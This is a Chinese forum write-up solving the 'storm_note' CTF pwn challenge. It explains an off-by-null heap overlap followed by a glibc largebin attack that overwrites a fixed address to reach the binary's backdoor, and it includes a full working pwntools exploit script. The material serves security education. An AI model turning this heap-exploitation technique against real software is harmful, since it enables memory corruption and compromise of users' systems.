西湖论剑storm_note Large bin Attack
2019-10-07 20:01:02 Author: bbs.pediy.com(查看原文) 阅读量:131 收藏

背景:

自己还是pwn初学者,混了看雪这么久想写篇文章水水,最近学了 LargeBin Attack,
做了这题,看了一下看雪没人讲 Largebin Attack,就来水一篇,题用的西湖论剑的storm_note,其实网上很多人讲这个,
都写了不错的文章,文章放一些比我讲的好的链接,这篇很多都是我的看法和理解.第一次写文章,写的不会很好看,有什么写的不好的请多多指教

题解

开启的保护:

图片描述

init_proc

图片描述

mallopt(1,0),禁用了fastbin,也就是说我们不能利用fastbin attack

而且 mmap(0xABCD00000)

alloc

图片描述

edit(漏洞点off_by_null)

图片描述

delete

图片描述

题目给了我们一个后门:

图片描述

所以要想知道进入后门,必须修改0xabcd0100的值,不能利用 fastbin attack 的话

只好使用 largebin attack

利用条件跟CTFwiki所说的一样

可以修改一个 large bin chunk 的 data

从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面

先分配两个largebin,不要连续分配在一起,防止释放的时候发生合并

图片描述

首先要做的是控制堆块

所以我们要利用off_by_null形成overlap

填充prev_size防止发生错误,释放堆块 1 然后利用off_by_null修改堆块1的size:

图片描述

如果不填写prev_size再修改size并进行分配的话,会发生如下错误:

图片描述

接下来进行 overlap:

图片描述

将 unsortedbin 分配出去

然后 delete 1 和 2 的时候会进行unlink

再次分配堆块的时候

就可以通过 edit 堆块 7 控制堆块 2 了

图片描述

同理,我们进行同样的操作,控制堆块4,不过要值得一提的是最后

不能分配 0x30,要分配 0x40,使得两个 Largebin 块大小不一样,而且不用分配堆块 5,放在 unsortedbin 中因为要使得 chunk 分配到largebin 上

(具体不详述,看了一遍可以写一下看自己会不会这种方法)

图片描述


接下来到利用 larbin_attack 的部分了,思路是利用 largebin_attack 分配到 0xabcd0100 附近,修改这里的值,然后执行 backdoor

释放堆块2,再分配执行到 largebin

源码如下:

           else
              {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize=victim;
              }
              bck = fwd->bk;
    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

其实都是类似于unlink的操作,不用想的太麻烦

victim 是 unsorted_bin 的 chunk

fwd 是 largebin 的 chunk

由于 0xabcd0100 附近都是的值都是0,所以需要在里面写入地址作为size

这样就可以分配过去了

这时候要构建堆块信息,根据上面源码来构建就可以了,不过自己写的时候有点混乱,看了好多遍源码,对照着写

···python

target_addr = 0xabcd0100
target_chunk = target_addr-0x20
payload = p64(0)+p64(0)+p64(0)+p64(0x4f1)+p64(0)+p64(target_chunk) #*(target->fd)=victim  bypass bck->fd != victim
edit(7,payload)
payload = p64(0)*4
payload += p64(0)+p64(target_chunk+0x8) #target_chunk+8+0x10 = victim,就是说target_chunk->fd_nextsize = victim 
payload +=p64(0)+p64(target_chunk-0x18-0x5) #写入size
edit(8,payload)
alloc(0x48)

···

构建好堆块后,如图

Unsorted_bin chunk:

图片描述

Large_Bin chunk:

图片描述

图片描述

这样就可以实现 largebin attack 了

图片描述

再把 0xabcd0100 填充 0 就可以用 backdoor 了

图片描述

具体源码

from PwnContext import *
s       = lambda data               :ctx.send(str(data))        #in case that data is a int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :ctx.sendthen(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()

rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
leak    = lambda address, count=0   :ctx.leak(address, count)

uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))

debugg = 1
logg = 1

ctx.binary = './Storm_note'
#ctx.remote_libc = './'  # /glibc/2.24/lib/libc-2.24.so
#ctx.debug_remote_libc = False # this is by default

#ctx.symbols = {'sym1':0x1234, 'sym2':0x5678}
# ctx.breakpoints = [0x80489AA,0x8048901,0x8048955]
#ctx.debug()

if debugg:
    rs()
else:
    pass

if logg:
    context.log_level = 'debug'
def choice(number):
    sla("Choice:",str(number))
def alloc(size):
    choice(1)
    sla("size ?",str(size))

def edit(idx,content):
    choice(2)
    sla("Index ?",str(idx))
    sla("Content:",content)

def delete(idx):
    choice(3)
    sla("Index ?",str(idx))

alloc(0x18) #0 0x20
alloc(0x508) #1 0x510
alloc(0x18) #2 0x20

alloc(0x18) #3 0x20
alloc(0x508) #4 0x510
alloc(0x18) #5 0x20

alloc(0x10) #6 defense top chunk
# ctx.debug()
# raw_input()
edit(1,'0'*0x4f0+p64(0x500)) # 0x500->prev_size

delete(1)
edit(0,'a'*0x18) # 1->size = 0x500
# raw_input()
alloc(0x18) #1 0x20 1->0x4e0
alloc(0x4d8) #7 0x4e0 addr(0050)
# ctx.debug()
# raw_input()
delete(1)
delete(2)
# raw_input()
alloc(0x30) 
alloc(0x4e0)
edit(4,'0'*0x4f0+p64(0x500)) # 0x500
delete(4)
edit(3,'a'*0x18) # 1->size = 0x500
# raw_input()
alloc(0x18) #4 0x20 1->0x4e0
alloc(0x4d8) #8 0x4e0 addr(0050)
# ctx.debug()
# raw_input()
delete(4)
delete(5)
# raw_input()
alloc(0x40) #4 unsorted chunk->size 4e0

delete(2)
# ctx.debug()
# raw_input()
alloc(0x4e8) #将chunk放入largebin当中

delete(2) #4f0

target_addr = 0xabcd0100
target_chunk = target_addr-0x20
payload = p64(0)+p64(0)+p64(0)+p64(0x4f1)+p64(0)+p64(target_chunk) #*(target->fd)=victim to bypass bck->fd != victim
edit(7,payload)

payload = p64(0)*4
payload += p64(0)+p64(0x4e1)
payload += p64(0)+p64(target_chunk+0x8) #target_chunk+8+0x10 = victim,就是说target_chunk->fd_nextsize = victim 
payload += p64(0)+p64(target_chunk-0x18-0x5) #写入size
edit(8,payload)
alloc(0x40)
edit(2,p64(0)*8)
choice(666)
sl(p64(0)*6)
irt()

如果我这篇看不明白的话,可以去看看这些大佬的文章,题目已经放到附件当中了:

从两道题剖析Largebin Attack
西湖论剑storm_note

[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!

最后于 3天前 被Vinadiak编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-254849.htm
如有侵权请联系:admin#unsafe.sh